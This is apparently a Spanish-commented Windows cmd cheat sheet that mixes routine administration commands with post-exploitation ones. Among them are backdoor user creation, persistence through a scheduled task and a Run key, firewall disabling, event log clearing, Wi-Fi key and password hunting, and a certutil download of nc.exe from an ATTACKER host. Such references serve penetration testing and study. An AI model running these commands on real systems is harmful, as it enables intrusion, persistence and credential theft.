systeminfo | findstr /C:"OS" /C:"RAM" /C:"System Boot"

ver

hostname

set PATH
set COMPUTERNAME
set USERNAME

whoami /all
whoami /priv

echo Inicio: %date% %time% >> log.txt

wmic os get Caption,Version,BuildNumber,OSArchitecture /format:list

wmic computersystem get Name,Manufacturer,Model,TotalPhysicalMemory,Domain /format:list

ipconfig /all
ipconfig /flushdns
ipconfig /displaydns

ping -n 4 8.8.8.8
ping -t 192.168.1.1
ping -a 10.0.0.5

tracert -d 8.8.8.8
tracert google.com

netstat -ano
netstat -ano | findstr :80
netstat -ano | findstr ESTABLISHED

nslookup google.com
nslookup google.com 8.8.8.8
nslookup -type=MX microsoft.com

net view
net view \\SERVER01
net view /domain:CORP

arp -a
arp -a 192.168.1.1
arp -d 192.168.1.5

route print
route print 0.0.0.0
route add 10.0.0.0 mask 255.0.0.0 192.168.1.1

netsh interface ip show config
netsh wlan show profiles
netsh wlan show profile name="WiFi" key=clear
netsh advfirewall show allprofiles

telnet 192.168.1.1 80
telnet smtp.gmail.com 587

dir /a /s C:\*.ps1
dir /ah C:\
dir /b /s C:\Users | findstr .config

cd %USERPROFILE%
cd /d C:\Windows\System32
cd ..\..

copy C:\file.txt D:\backup\
robocopy C:\Source D:\Dest /E /MIR /LOG:C:\backup.log
xcopy C:\Config D:\Config /E /H /Y

move C:\temp\*.log D:\logs\
move C:\OldName D:\NewName

del /f /s /q C:\Temp\*.*
del /f /a:h C:\secret.txt

findstr /s /i "password" C:\inetpub\*.config
findstr /i /r "\bpassw" *.txt
findstr /n "error" C:\logs\app.log

attrib C:\*.*  /s /d
attrib +h +s C:\backdoor.bat
attrib -r -h C:\Windows\file.sys

tree C:\inetpub /f
tree C:\ProgramData /f /a > estructura.txt

type C:\Windows\System32\drivers\etc\hosts
more C:\Windows\win.ini
type credentials.txt | findstr /i pass

fc /l C:\config_orig.ini C:\config_current.ini
fc /b C:\original.exe C:\modified.exe

tasklist /v
tasklist /svc
tasklist /fi "STATUS eq running" /fo csv
tasklist /fi "IMAGENAME eq notepad.exe"

taskkill /IM notepad.exe /F
taskkill /PID 4321 /F /T
taskkill /F /IM chrome.exe

sc query type= all state= all
sc stop Spooler
sc start Spooler
sc config MyService start= auto
sc query Spooler

net start
net start Spooler
net stop "Print Spooler"

schtasks /query /fo LIST /v
schtasks /create /tn "Backdoor" /tr C:\shell.exe /sc onlogon /ru SYSTEM
schtasks /delete /tn "Backdoor" /F

wmic process get Name,ProcessId,CommandLine,ExecutablePath
wmic process where Name='notepad.exe' call terminate
wmic process where ProcessId=1234 get CommandLine

net user
net user administrador
net user hacker P@ssw0rd! /add
net user hacker /active:yes
net user hacker /delete

net localgroup
net localgroup Administrators
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add

net accounts
net accounts /maxpwage:unlimited
net accounts /minpwlen:0

runas /user:CORP\Administrator cmd.exe
runas /savecred /user:Administrator "cmd /c whoami > C:\out.txt"

icacls C:\SecretFolder
icacls C:\file.txt /grant Everyone:(F)
icacls C:\Windows\Temp /grant "Everyone:(OI)(CI)F"

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM /f "password" /t REG_SZ /s

reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d C:\shell.exe /f

reg delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Updater /f
reg delete HKLM\SOFTWARE\BadApp /f

reg export HKLM\SOFTWARE\MyApp C:\backup_myapp.reg
reg import C:\backup_myapp.reg

wevtutil qe Security /c:20 /f:text
wevtutil qe Security /q:"*[System[(EventID=4625)]]" /c:10 /f:text
wevtutil cl System

netsh advfirewall show allprofiles
netsh advfirewall firewall add rule name="Allow 4444" protocol=TCP dir=in localport=4444 action=allow
netsh advfirewall set allprofiles state off

gpresult /r
gpresult /h C:\gpo_report.html
gpresult /scope user /r

secedit /export /cfg C:\current_security.inf
secedit /analyze /db C:\analysis.sdb /cfg C:\baseline.inf /log C:\analysis.log

cipher /status C:\SecretFolder
cipher /e C:\SecretFolder\*.docx
cipher /w:C:\

net share
net share C$ 
net use \\TARGET\C$ /user:admin P@ssw0rd

net use Z: \\192.168.1.5\C$ P@ssword /user:CORP\admin
net use \\TARGET\IPC$ "" /user:""
net use * /delete

for /L %i in (1,1,254) do @ping -n 1 -w 50 192.168.1.%i | findstr "TTL" && echo 192.168.1.%i >> hosts_activos.txt

reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run

cmdkey /list
cmdkey /add:FILESERVER01 /user:CORP\admin /pass:P@ssword
cmdkey /delete:FILESERVER01

dir /s /b C:\*.config 2>nul
dir /s /b C:\*.xml | findstr /i pass 2>nul
dir /s /b C:\Users\*.kdbx 2>nul
dir /s /b \\.\C$ | findstr /i "password credential secret"

wmic qfe list brief /format:table
wmic qfe get HotFixID,InstalledOn | sort /r

certutil -urlcache -split -f http://ATTACKER/nc.exe C:\Windows\Temp\nc.exe
certutil -encode input.exe output.b64
certutil -decode output.b64 decoded.exe

@echo off
set SERVER=192.168.1.1
set LOG=C:\logs\script.log
echo Conectando a %SERVER% >> %LOG%
echo Fecha: %date% %time% >> %LOG%

if exist C:\file.txt (echo Existe) else (echo No existe)
if %ERRORLEVEL% NEQ 0 (echo Error en el paso anterior)
if "%USERNAME%"=="admin" (echo Es admin)

for /L %i in (1,1,10) do echo Línea %i
for /F "tokens=1,2" %a in (users.txt) do net user %a %b
for %f in (*.log) do findstr /i error %f

dir > listado.txt
ipconfig >> C:\logs\network.log
tasklist | findstr chrome
dir /s *.exe 2>nul | findstr /i malware

@echo off
call :check_admin
goto :main
:check_admin
net session >nul 2>&1 || (echo Necesitas admin & exit /b 1)
:main
echo Ejecutando como admin

timeout /t 30 /nobreak
timeout /t 5
ping -n 11 127.0.0.1 > nul  &REM pausa de ~10 segundos

diskpart
list disk
select disk 1
list partition
create partition primary size=10240

wmic logicaldisk get Caption,Size,FreeSpace,FileSystem,DriveType /format:table

chkdsk C: /f /r
chkdsk D: /scan

fsutil volume diskfree C:
fsutil file createnew C:\testfile.bin 1073741824  &REM crea fichero de 1GB
fsutil fsinfo drives

cls
title [*] Script de Backup - Ejecutando...
color 0A  &REM fondo negro, texto verde

start /b calc.exe
start /wait msiexec /i app.msi /quiet
start https://www.unfantasmaenelsistema.com
start cmd /k "echo hola & pause"

shutdown /r /t 60 /c "Reinicio programado"
shutdown /s /m \\SERVER01 /t 0
shutdown /a

ipconfig | clip
whoami | clip
dir /b C:\Users | clip

mstsc /v:192.168.1.5
mstsc /v:SERVER01:3390 /admin /f

subst X: C:\Users\admin\Projects\ClienteImportante
subst
subst X: /d

wmic startup list full
wmic startup get Caption,Command,Location,User /format:table

assoc .txt
assoc .js
ftype txtfile
assoc .badext=exefile  &REM asociar extensión a ejecutable